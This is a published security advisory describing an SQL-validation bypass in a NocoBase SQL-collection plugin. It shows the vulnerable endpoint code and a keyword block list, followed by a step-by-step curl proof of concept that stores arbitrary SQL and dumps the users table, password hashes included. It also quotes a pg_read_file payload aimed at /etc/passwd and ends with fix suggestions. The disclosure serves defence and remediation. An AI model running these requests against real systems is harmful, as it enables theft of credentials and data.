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GHSA-wrwh-c28m-9jjh

HighCVSS 7.2 / 10
Published Apr 22, 2026·Last modified May 8, 2026
Affected Components(0)

No affected components available

Description

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

// Line 51-60 — execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
    const { sql } = ctx.action.params.values || {};
    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
    // ...
}

checkSQL is NOT applied on update

// Line 105-118 — update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
    const transaction = await ctx.app.db.sequelize.transaction();
    try {
        const { upRes } = await updateCollection(ctx, transaction);
        // No checkSQL() call anywhere in this path!
        const [collection] = upRes;
        await collection.load({ transaction, resetFields: true });
        await transaction.commit();
    }
    // ...
}

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
  ];
  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

PoC

TOKEN="<admin_jwt_token>"

# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exfil_collection",
    "sql": "SELECT 1 as id",
    "fields": [{"name": "id", "type": "integer"}],
    "template": "sql"
  }'

# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"

# Step 3: Update with dangerous SQL — bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sql": "SELECT * FROM users",
    "fields": [
      {"name": "id", "type": "integer"},
      {"name": "email", "type": "string"},
      {"name": "password", "type": "string"}
    ]
  }'
# Returns: 200 OK — no validation!

# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
  -H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes

Impact

  • Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes.
  • Integrity/Availability: Although checkSQL strips after the first semicolon, dangerous single-statement operations like SELECT ... INTO, subqueries with side effects, or database-specific functions (pg_read_file, LOAD_FILE, dblink) are all accessible through the update bypass.
  • Privilege escalation: On PostgreSQL, dblink enables lateral movement to other databases. pg_read_file reads arbitrary files from the database server filesystem.

Fix Suggestion

  1. Add checkSQL() to the update action. The one-line fix:

    update: async (ctx: Context, next: Next) => {
        const { sql } = ctx.action.params.values || {};
        if (sql) {
            try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
        }
        // ... existing code ...
    }
    
  2. Centralize validation in middleware rather than per-action. Apply checkSQL in the resource middleware for any action that accepts a sql field, so future actions cannot accidentally skip it.

  3. Strengthen the blocklist. The current list is missing COPY (PostgreSQL file I/O and RCE), CREATE, ALTER, DROP, GRANT, SET, and EXECUTE. Consider switching to a parser-based allowlist that only permits SELECT and WITH ... SELECT at the AST level rather than relying on keyword blocklisting.

Risk Scores
Base Score
7.2

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
6.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
1.83%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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